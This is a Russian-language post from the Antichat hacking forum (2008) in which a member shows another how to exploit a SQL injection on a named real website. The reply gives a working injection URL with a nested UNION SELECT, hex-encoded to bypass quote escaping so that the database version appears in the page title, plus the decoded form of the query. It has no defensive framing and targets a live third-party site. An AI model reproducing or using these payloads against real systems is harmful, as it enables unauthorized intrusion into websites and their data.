22.04.2008, 06:07
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от 159932
там www.fasie.ru/index.php?rid=-120+union+select+1/*
только вывода я не нашёл .. сайт оч плохо грузится ..
вывод есть как я понял только если использовать двойной запрос, т.е. внутри этого запроса использовать еще один запрос, все неудобство в том, что кавычки экранируются, и приходится этот второй запрос переводить в hex вобщем вот:
Код:
http://www.fasie.ru/index.php?rid=120+union+select+0x2D3120756E696F6E2073656C65637420312C322C76657273696F6E28292C342C352C362C372C382C392C31302C31312C3132+limit+1,1/*
видим в заголовке страницы версию
фактически запрос выглядит так:
Код:
120 union select '-1 union select 1,2,version(),4,5,6,7,8,9,10,11,12' limit 1,1/*
__________________
Карфаген должен быть разрушен...
|
|
|